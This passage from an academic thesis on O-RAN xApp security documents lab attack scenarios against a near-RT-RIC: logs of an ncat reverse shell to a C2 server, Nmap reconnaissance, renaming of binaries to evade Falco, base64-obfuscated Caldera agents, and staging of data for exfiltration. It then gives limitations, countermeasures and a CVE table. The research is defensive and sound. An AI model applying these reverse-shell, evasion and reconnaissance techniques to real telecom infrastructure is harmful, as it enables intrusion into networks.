and obfuscated commands. This implementation showcases how malicious xApps
can gather intelligence about the near-RT-RIC environment while evading security
controls.

• Tool: Caldera xApp Attack Operation using obfuscated Agent Connection
• Parameter (container): "manx" Agent-Binary with obfuscated commands

using base64jumble encoding
• DUT: near-RT-RIC
• Expected Results:

1. Network Reconnaissance:
– Determination of the Pod’s local IP address
– Execution of Nmap ping sweep in the local /24 network (Nmap

renamed to xapp-health-monitor)
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– Detailed port and version scan on active hosts for ports 80, 443, 8080
and 3800

– Analysis of service endpoints
2. Logging:

– Caldera logs each atomic operation with timestamps, execution suc-
cess/failure, command, and output

– Agent connection to Caldera runs in background without affecting
normal xApp functionality

– All collected information stored in /dev/shm/caldera directory for
exfiltration

• Context: xApp
• Execution:

– Run Caldera Operation via Caldera Dashboard

This implementation demonstrates how a malicious xApp can conduct network
reconnaissance and query near-RT-RIC services through the Caldera platform, while
employing obfuscation techniques to evade detection. The utilization of obfuscated
commands highlights the advanced nature of potential xApp-based attacks orches-
trated through Caldera.

6.3 Attack Scenario Execution
This section provides an overview of the execution of the attack scenarios. This
includes the logs and results of the attack scenarios, as well as a high-level discussion
on the achieved goals.

6.3.1 ID-XAPP-01: Reverse Shell Establishment and Basic
Reconnaissance

The execution of ID-XAPP-01 scenario involves deploying the malicious xApp,
gathering basic intel on the xApp pod and establishing a reverse shell connection to
the C2 server.

Execution Logs

The following logs were captured from the execution of the ID-XAPP-01 scenario.
The listing, 6.2, shows a partial excerpt of the logs from the execution of the
ID-XAPP-01 scenario.
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1 # xApp connection to \gls{c2} server
2 Ncat: Version 7.94 SVN ( https :// nmap.org/ncat )
3 Ncat: Listening on [::]:1337
4 Ncat: Listening on 0.0.0.0:1337
5 Ncat: Connection from 176.9.10.43:60385.
6 Initial connection from IP: 10.1.175.179 , Target network :

10.1.175.179/24
7 ...
8 # xApp local reconnaissance
9 Executing local netstat ...

10 Active Internet connections ( servers and established )
11 Proto Recv -Q Send -Q Local Address Foreign Address

State PID/ Program name
12 tcp 0 0 10.1.175.179:42450 139.6.19.13:1337

TIME_WAIT -
13 tcp 0 0 10.1.175.179:45092 139.6.19.13:1337

TIME_WAIT -
14 tcp 0 2257 10.1.175.179:48820 139.6.19.13:1337

ESTABLISHED 1/ revshell
15

16 Listing active processes with ps faux ...
17 USER PID %CPU %MEM VSZ RSS TTY STAT START TIME

COMMAND
18 root 1 0.1 0.0 1461792 18176 ? Ssl 07:43 0:00

/ revshell
19 root 19 0.0 0.0 34416 2688 ? R 07:43 0:00

ps faux
20

21 # xApp reverse shell connection to \gls{c2} server and issuing an
example command \ textit {ls}

22 Executing ncat reverse shell ...
23 Connection established !
24 Ncat: Version 7.60 ( https :// nmap.org/ncat )
25 Ncat: Connection from 176.9.10.43:62319.
26 Ncat: Connected to 139.6.19.13:1337.
27 ls
28 bin
29 ....
30 tmp
31 usr
32 var

Listing 6.2: ID-XAPP-01 Execution Logs

The logs demonstrate the successful deployment of the xApp, local reconnaissance
activities and the establishment of a reverse shell connection to the C2 server,
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including the manual execution of the ls command from the C2 server.

Results

The scenario demonstrated successful:

• Deployment of the xApp
• Local reconnaissance activities
• Reverse shell connection to the C2 server
• Manual command execution on the C2 server

6.3.2 ID-XAPP-02: Network Reconnaissance

This scenario ID-XAPP-02 demonstrates the capability of a malicious xApp to
conduct network reconnaissance and gather detailed information about the near-RT-
RIC environment. The attack focused on mapping the internal network topology,
identifying active services, and collecting system information on the active services.

Execution Logs

The following logs were captured from the execution of the ID-XAPP-02 scenario.
The listing, 6.3, shows a partial excerpt of the logs from the execution of the
ID-XAPP-02 scenario.

1 # Mapping the internal network topology
2 Starting ping sweep ...
3 # Nmap 7.80 scan initiated Thu Jan 23 07:57:53 2025 as: nmap -

sn -oG - 10.1.175.156/24
4 Host: 10.1.175.128 () Status : Up
5 Host: 10.1.175.131 (10 -1 -175 -131. service -ricplt -rtmgr -http.

ricplt .svc. cluster .local) Status : Up
6 ...
7 Host: 10.1.175.145 (10 -1 -175 -145. service -ricplt -e2term -

prometheus -alpha. ricplt .svc. cluster .local) Status : Up
8 Host: 10.1.175.163 (10 -1 -175 -163. service -ricplt -submgr -http.

ricplt .svc. cluster .local) Status : Up
9 Host: 10.1.175.165 (10 -1 -175 -165. service -ricplt -e2mgr -rmr.

ricplt .svc. cluster .local) Status : Up
10 Host: 10.1.175.187 (10 -1 -175 -187. service -ricplt -a1mediator -http

. ricplt .svc. cluster .local) Status : Up
11 Host: 10.1.175.188 (10 -1 -175 -188. service -ricplt -appmgr -http.

ricplt .svc. cluster .local) Status : Up
12 # Nmap done at Thu Jan 23 07:58:11 2025 -- 256 IP addresses (24

hosts up) scanned in 17.58 seconds
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13

14 # Nmap 7.80 scan initiated Thu Jan 23 07:58:11 2025 as: nmap -
sV -sC -oG - 10.1.175.128 10.1.175.131 10.1.175.133

15 Host: 10.1.175.128 () Status : Up
16 Host: 10.1.175.128 () Ports: 22/ open/tcp // ssh // OpenSSH 9.6 p1

Ubuntu 3 ubuntu13 .5 ( Ubuntu Linux; protocol 2.0)/, 6789/ open/tcp
//ibm -db2 -admin ?/// Ignored State: closed (998)

17 Host: 10.1.175.131 (10 -1 -175 -131. service -ricplt -rtmgr -http.
ricplt .svc. cluster .local) Status : Up

18 Host: 10.1.175.131 (10 -1 -175 -131. service -ricplt -rtmgr -http.
ricplt .svc. cluster .local) Ports: 3800/ open/tcp // pwgpsi ?/// ,

19 8080/ open/tcp // http // Golang net|http server (Go -IPFS json -rpc
or InfluxDB API)/

20 # Nmap done at Thu Jan 23 07:59:39 2025 -- 3 IP addresses (3
hosts up) scanned in 87.59 seconds

21

22 # Nmap Version Scan Results
23 # Nmap 7.80 scan initiated Thu Jan 23 07:58:11 2025 as: nmap -

sV -sC -oG - 10.1.175.128 10.1.175.131 10.1.175.133
24 Host: 10.1.175.128 () Ports: 22/ open/tcp // ssh // OpenSSH 9.6 p1

Ubuntu 3 ubuntu13 .5 ( Ubuntu Linux; protocol 2.0)/, 6789/ open/tcp
//ibm -db2 -admin ?///

25 ...
26 Host: 10.1.175.131 (10 -1 -175 -131. service -ricplt -rtmgr -http.

ricplt .svc. cluster .local) Status : Up
27 Host: 10.1.175.131 (10 -1 -175 -131. service -ricplt -rtmgr -http.

ricplt .svc. cluster .local) Ports: 3800/ open/tcp // pwgpsi ?/// ,
28 8080/ open/tcp // http // Golang net|http server (Go -IPFS json -rpc

or InfluxDB API)/
29 # Nmap done at Thu Jan 23 07:59:39 2025 -- 3 IP addresses (3

hosts up) scanned in 87.59 seconds

Listing 6.3: ID-XAPP-02 Execution Logs

The logs demonstrate the successful reconnaissance activities of the xApp, including
the mapping of the internal network topology, identification of active services and
collection of system information on the active services.

Results

The execution logs demonstrate successful:

• Network topology mapping
• Service endpoint discovery
• Endpoint information collection

91



6 Attack Scenarios: Design, Execution and Evaluation

6.3.3 ID-XAPP-03: Network Reconnaissance with Evasion
Techniques

This scenario demonstrates a malicious xApp’s ability to conduct network reconnais-
sance while evading detection through binary renaming, successfully mapping the
internal network topology within the near-RT-RIC environment.

Execution Logs

The following logs were captured from the execution of the ID-XAPP-03 scenario.
Note that the Nmap binary was renamed to xapp-metrics-collector, to evade detection
rules that look for specific binaries, such as the security runtime software Falco.
The listing, 6.4, shows a partial excerpt of the logs from the execution of the
ID-XAPP-03 scenario.

1 Starting ping sweep ...
2 # Nmap 7.80 scan initiated Tue Jan 14 14:42:53 2025 as: xapp -

metrics - collector -sn -oG - 10.1.175.138/24
3 Host: 10.1.175.128 () Status : Up
4 Host: 10.1.175.131 (10 -1 -175 -131. service -ricplt -rtmgr -http.

ricplt .svc. cluster .local) Status : Up
5 Host: 10.1.175.142 (10 -1 -175 -142. kube -dns.kube - system .svc.

cluster .local) Status : Up
6 Host: 10.1.175.145 (10 -1 -175 -145. service -ricplt -e2term -

prometheus -alpha. ricplt .svc. cluster .local) Status : Up
7 ...
8 Host: 10.1.175.163 (10 -1 -175 -163. service -ricplt -submgr -http.

ricplt .svc. cluster .local) Status : Up
9 Host: 10.1.175.165 (10 -1 -175 -165. service -ricplt -e2mgr -http.

ricplt .svc. cluster .local) Status : Up
10 Host: 10.1.175.173 (10 -1 -175 -173. metrics - server .kube - system .svc

. cluster .local) Status : Up
11 Host: 10.1.175.180 (ricplt -influxdb -0. ricplt - influxdb . ricplt .

svc. cluster .local) Status : Up
12 Host: 10.1.175.187 (10 -1 -175 -187. service -ricplt -a1mediator -http

. ricplt .svc. cluster .local) Status : Up
13 Host: 10.1.175.188 (10 -1 -175 -188. service -ricplt -appmgr -http.

ricplt .svc. cluster .local) Status : Up
14 Host: 10.1.175.138 ( revshell ) Status : Up
15 # Nmap done at Tue Jan 14 14:43:13 2025 -- 256 IP addresses (25

hosts up) scanned in 19.59 seconds

Listing 6.4: ID-XAPP-03 Execution Logs
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6.3 Attack Scenario Execution

The logs demonstrate the successful reconnaissance activities of the xApp, with a
renamed binary for Nmap, to evade detection rules.

Results

The execution logs demonstrate successful:

• Network topology mapping
• Defense evasion through binary renaming

6.3.4 ID-XAPP-04: Caldera Integration and Persistence

This scenario demonstrates how a malicious xApp can establish and maintain persis-
tent access through a Caldera agent within the near-RT-RIC environment.
Figure 6.1 depicts the actively deployed Caldera agent in the Caldera platform.

Figure 6.1: Actively deployed Caldera agent in the Caldera platform

A more detailed overview of the Caldera agent is shown in Figure 6.2.
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Figure 6.2: Detailed overview of the Caldera agent

The installation of the Caldera agent through the reverse shell connection to the C2
server is shown in Figure 6.3.
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Figure 6.3: Installation of the Caldera agent

Results

The execution demonstrated:

• Successful persistence establishment
• Integration with the Caldera platform

6.3.5 ID-XAPP-05: Advanced Network Reconnaissance and API
Enumeration

This scenario demonstrates the capability of a malicious xApp to conduct net-
work reconnaissance and API enumeration through the Caldera platform, enabling
comprehensive information gathering about the near-RT-RIC environment.
The adversarial xApp operation in Caldera is depicted in Figure 6.4. As shown in
the figure, all operations were successfully executed by the xApp.
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Figure 6.4: Adversarial xApp operation in Caldera

Results

The execution demonstrated:

• Comprehensive network reconnaissance capabilities
• Effective API enumeration of AppMgr endpoints
• Successful data collection and storage in /dev/shm/caldera
• Background operation without impacting xApp functionality
• Detailed logging of all reconnaissance activities in Caldera

6.3.6 ID-XAPP-06: Obfuscated Caldera Agent Execution

This scenario demonstrates the capability of a malicious xApp to conduct network
reconnaissance and query near-RT-RIC services through the Caldera platform while
employing obfuscation techniques to evade detection.
The adversarial Caldera operation using an agent with obfuscated commands is
depicted in Figure 6.5. The obfuscation technique used is base64jumble encoding
and depicted in the top right corner of the figure.
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Figure 6.5: Adversarial Caldera operation using an agent with obfuscated commands

Results

The execution demonstrated:

• Successful use of obfuscation techniques
• Comprehensive network reconnaissance capabilities
• Effective API enumeration of AppMgr endpoints
• Data collection and storage in /dev/shm/caldera
• Background operation without impacting xApp functionality
• Detailed logging of all reconnaissance activities in Caldera
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7 Discussion

This chapter reflects on the results and implications of the conducted research.
It evaluates the success in achieving the defined objectives, addresses limitations,
discusses practical implications, and directions for future research.

7.1 Assessment of Objectives
This section evaluates the extent to which the research questions defined in Chapter
1 were addressed and answered through the conducted research.

7.1.1 Research Question 1: Attack Vectors

The first research question regarding potential attack vectors stemming from xApps
was addressed in Chapter 4. The threat modeling process identified several critical
attack vectors, especially in regards supply chain attacks and the means of integrating
xApps from external developers into the near-RT-RIC platform. The primary attack
vectors are highlighted below.

• Supply chain attacks through xApps: This entails compromised or maliciously
modified container images, stemming from threat actors such as internal/exter-
nal developers and repository admins.

• Lack of isolation from the near-RT-RIC platform: xApps are free to interact
with the entire Kubernetes cluster, including near-RT-RIC components and
other xApps. Furthermore, the orchestration of adversarial activities through
xApps was not restricted, allowing for the execution of a multitude of attack
scenarios.

These findings were validated through practical implementation and execution of
adversarial activities, demonstrating the feasibility of these attack vectors in the
O-RAN reference implementation.
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7.1.2 Research Question 2: Attack Simulation

The second research question concerning practical simulation and evaluation of attack
vectors was addressed through the development and implementation of adversarial
scenarios in Chapters 5 and 6. Key achievements include:

• Successful development and deployment of malicious xApps
• Implementation of network reconnaissance capabilities
• Malicious interaction with near-RT-RIC components (e.g. AppMgr)
• Establishment of persistence through Caldera integration
• Demonstration of obfuscated command execution through Caldera

The practical implementation provided concrete evidence of the identified threats
and their potential impact.

7.1.3 Research Question 3: Adversarial Activity Orchestration

The third research question regarding orchestration of adversarial activities was
addressed through the deployment and configuration of Caldera, that generated
realistic indicators of compromise. This was achieved through:

• Integration with the Caldera platform for automated attack execution
• Implementation of obfuscation techniques to evade detection
• Generation of realistic network traffic patterns
• Creation of plausible system artifacts and logs

While the primary research questions were successfully addressed, some limitations
were encountered in terms of:

• Limited interaction with actual O-RAN components due to the testbed setup.
The testbed infrastructure solely comprised the near-RT-RIC platform, but
lacked the implementation of the disaggregated gNB components or functional
simulators.

• Scope restrictions to the Near-RT RIC environment, since the focus was on
xApps and the near-RT-RIC platform, rather than the entire O-RAN ecosystem.

These limitations are further discussed in Section 7.2.

7.2 Limitations and Challenges
This section discusses the limitations and challenges encountered during the research.
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• Technical Constraints: The research was limited by the implementation
of the testbed infrastructure, which only included the near-RT-RIC platform
without functional gNB components or comprehensive RAN node and interface
simulators. This restricted the ability to evaluate attacks against actual RAN
functionality and performance impacts. Furthermore, the lack of PoC and real-
world threat intelligence regarding O-RAN implementations hindered the ability
to evaluate realistic attack scenarios, tailored to the specific implementation of
the near-RT-RIC platform.

• Scope Constraints: The study focused primarily on xApp security and
the near-RT-RIC platform and underlying O-Cloud infrastructure, excluding
broader aspects of the O-RAN ecosystem such as the non-RT-RIC, SMO, and
disaggregated gNB components. This narrow scope thereby misses potential
attack vectors involving interactions between these components. Furthermore,
the O-Cloud infrastructure may be hosted on public cloud providers, which was
not considered in the research. In addition, resource exhaustion and AI/glsml
attacks were not considered in the research.

• Implementation Challenges: Developing and deploying malicious xApps
required significant effort in understanding the near-RT-RIC architecture and
container orchestration. Additionally, the lack of official documentation for
xApp development made it challenging to incorporate the many xApp capabili-
ties into the adversarial activities. Moreover, the implementation of the various
language bindings for the xApp framework is inconsistent, and therefore a
tradeoff was made to only use the Go xApp framework for xApp development.

These limitations highlight the need for more comprehensive testbed environments
and broader scope in future research to fully evaluate security implications across
the O-RAN ecosystem.

7.3 Practical Implications
This section outlines the practical implications of the research findings and their
contributions to the field of O-RAN security.

• Security Enhancements: The research demonstrates the lack of various
integrated security controls and mitigations for xApps in the near-RT-RIC
platform, which are necessary to improve the security of the O-RAN ecosystem
in the context of the O-RAN reference implementation.
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– Implementation of robust container security controls and isolation mecha-
nisms

– Enhanced network policy enforcement
– Improved runtime security monitoring and detection
– Development of security-focused xApp deployment guidelines
– xApp repository security controls including whitelisting of repositories

and verification of container images

• Operational Impact: The findings provide actionable insights for industry
practitioners:

– Practical threat-driven security assessment strategies, through adversary
simulation with xApps

– Recommendations for security mechanisms to mitigate malicious xApp
activities

– Recommendations for security monitoring and incident response (see
FORAN research project)

The research makes contributions to the field of O-RAN security in the aspects
discussed below.

• Attack Scenarios: Implementation and evaluation of plausible attack scenar-
ios that demonstrate potential security weaknesses and misconfiguration in the
near-RT-RIC platform of the O-RAN reference implementation.

• Adversary Simulation: Development of practical methods for simulating
and evaluating adversarial activities in O-RAN environments, contributing to
improved threat detection and response capabilities.

These contributions provide practical approaches for enhancing the security posture
of O-RAN deployments.

7.4 Future Work
This section suggests directions for future research based on the findings and limita-
tions.

• Explore more advanced attack scenarios, especially leveraging the full capabili-
ties of xApps and the near-RT-RIC platform.

• Expand testing environments to include full O-RAN implementations including
gNB components.
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• Integrate additional adversary simulation frameworks for more diverse testing
capabilities.

• Investigate long-term strategies for continuous and automated security assess-
ments as the O-RAN architecture evolves.

7.4.1 Proposed Countermeasures

• Access Controls: Implement robust authentication and authorization mecha-
nisms for xApps, including improved API security of the near-RT-RIC platform.

• Container Security:

– Implement mandatory vulnerability scanning of container images before
deployment.

– Enforce container image signing and verification using trusted registries.
– Deploy immutable file systems with read-only root filesystems, when

possible.
– Integrate runtime security controls in the near-RT-RIC platform.
– Enforce container security policies (regarding capabilities, mounts, etc.).
– Enforce network segmentation and isolation policies for xApps

• Repository Security:

– Enforce mandatory whitelisting of xApp repositories.
– Enforce mandatory signature verification and vulnerability scanning of

container images on repository level.

• Monitoring and Detection: Enhance real-time monitoring, detection and
logging requirements for xApps.
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8 Conclusion

This thesis has examined the challenges and solutions in analyzing threats to xApps
and developing and executing malicious xApps in the context of the O-RAN ecosystem.
Through systematic threat modeling, practical implementation of attack scenarios,
and analysis of the near-RT-RIC security posture, this research provides valuable
insights into improving and evaluating the security of the O-RAN SC reference
implementation.

8.1 Summary of Findings
This thesis has yielded several significant findings regarding the security posture of
xApps in the O-RAN ecosystem:

• Threat Modeling and Vulnerability Analysis: The threat modeling pro-
cess confirmed critical vulnerabilities in the xApp supply chain and deployment
process. Key findings include:

– Container image security vulnerabilities in the xApp deployment
– Insufficient access control mechanisms in the near-RT-RIC platform
– Potential for supply chain attacks through compromised xApp repositories
– Practical demonstration of these attack vectors in the O-RAN SC reference

implementation

• Adversarial xApp Development: The successful development and deploy-
ment of malicious xApps demonstrated several critical security concerns:

– Capability to conduct extensive network reconnaissance within the near-
RT-RIC environment

– Potential for unauthorized interaction with critical near-RT-RIC compo-
nents

– Establishment of persistence through the Caldera platform

• Caldera Platform Integration: The integration with the Caldera platform
proved effective for security testing:
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– Successful orchestration of adversarial activities
– Generation of realistic IoC
– Practical framework for security testing and evaluation
– Foundation for automated security assessment of xApp controls

• Security Posture Analysis: The thesis identified gaps in the O-RAN SC
reference implementation when evaluated against the security recommendations
established by the O-RAN Alliance, particularly those defined in the WG11
threat model:

– Insufficient xApp isolation mechanisms
– Inadequate access control implementation
– Need for enhanced monitoring and detection capabilities

These findings underscore the critical importance of implementing robust security
controls throughout the xApp development and deployment lifecycle. The research
highlights the need for an improved approach to security in the O-RAN ecosystem,
which addresses both technical and operational aspects of xApp security.

8.2 Implications and Recommendations
The findings of this research have several implications for the O-RAN SC reference
implementation:

• Security Architecture: The near-RT-RIC platform requires enhanced secu-
rity controls, particularly in areas of xApp isolation and access management.

• Development Practices: xApp development processes need to incorporate
security-by-design principles.

• Operational Security: Organizations deploying O-RAN systems must imple-
ment comprehensive security monitoring and incident response mechanisms.

8.3 Closing Remarks
This thesis is a step forward in understanding the benefits to a threat-driven approach
in O-RAN deployments, especially in the context of xApp security. While the
intricacies of the xApp ecosystem remain challenging, the findings offer a foundation
for further exploration and innovation in the field.

104



8.3 Closing Remarks

AI Assistance Disclaimer
This thesis has been written with the assistance of Large Language Models (LLMs) for
the purpose of improving language quality, sentence structure, and finding appropriate
synonyms. The LLMs were used solely as writing aids to enhance the clarity and
readability of the text. All technical content, research methodology, analysis, and
conclusions remain the original work of the author.
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8 Conclusion

Appendix G

CVE Vendors Products Updated Description
CVE-2024-34473 O-RAN-SC I-Release 2024-05-06 An issue was discovered in

appmgr in O-RAN Near-RT
RIC I-Release. An attacker
could register an unintended
RMR message type during
xApp registration to disrupt
other service components.

CVE-2024-34044 O-RAN-SC I-Release 2024-04-30 The O-RAN E2T I-Release
buildPrometheusList func-
tion can have a NULL
pointer dereference because
peerInfo can be NULL.

CVE-2024-34047 O-RAN-SC I-Release 2024-04-30 O-RAN RIC I-Release
e2mgr lacks array size
checks in RicServiceUpdate-
Handler.

CVE-2024-34045 O-RAN-SC I-Release 2024-04-30 The O-RAN E2T I-Release
Prometheus metric Incre-
ment function can crash in
sctpThread.cpp.

CVE-2024-34048 O-RAN-SC I-Release 2024-04-30 O-RAN RIC I-Release
e2mgr lacks array size
checks in E2nodeConfig-
UpdateNotificationHandler.

CVE-2024-34043 O-RAN-SC I-Release 2024-04-30 O-RAN RICAPP kpimon-go
I-Release has a segmentation
violation via a certain E2AP-
PDU message.

CVE-2024-34046 O-RAN-SC I-Release 2024-04-30 The O-RAN E2T I-Release
Prometheus metric Incre-
ment function can crash in
sctpThread.cpp.

Table 1: Public CVEs affecting the O-RAN Software Community I-Release implementation
[84]
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Appendix H

xApp Onboarder CLI Documentation
This section provides detailed documentation for the xApp Onboarder CLI tool,
which is used for managing xApps in the Near-RT RIC environment.

Overview

The xApp Onboarder CLI tool provides a comprehensive set of commands for
managing xApps, including onboarding, installation, upgrading, and maintenance
operations.

Command Reference

download_and_onboard

Onboards an xApp using URLs pointing to the xApp descriptor files.

• –config_file_url: URL to the config-file.json
• –schema_file_url: URL to the schema.json

download_helm_chart

Downloads the Helm chart package for an xApp.

• –xapp_chart_name: Name of the xApp
• –version: Version of the xApp
• –output_path: (Optional) Path to save the downloaded file

download_values_yaml

Downloads the values.yaml file for runtime parameter overrides.

• –xapp_chart_name: Name of the xApp
• –version: Version of the xApp
• –output_path: (Optional) Path to save the downloaded file

get_charts_list

Retrieves the list of all onboarded xApps.

• –xapp_chart_name: (Optional) Filter by xApp name to show all versions
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health

Performs a health check of the xApp onboarder service.

health_check

Checks the status of an xApp using its chart name.

install

Installs an xApp using its chart name and version.

• –xapp_chart_name: Name of the xApp
• –version: Version of the xApp
• –yaml: (Optional) YAML file for parameter overrides

onboard

Onboards an xApp using local descriptor files.

• –config_file_path: Path to config-file.json
• –shcema_file_path: Path to schema.json

rollback

Rolls back an xApp to a specified version.

uninstall

Uninstalls an xApp using its chart name.

• –version: (Optional) Specific version to uninstall

upgrade

Upgrades an xApp to a new version.
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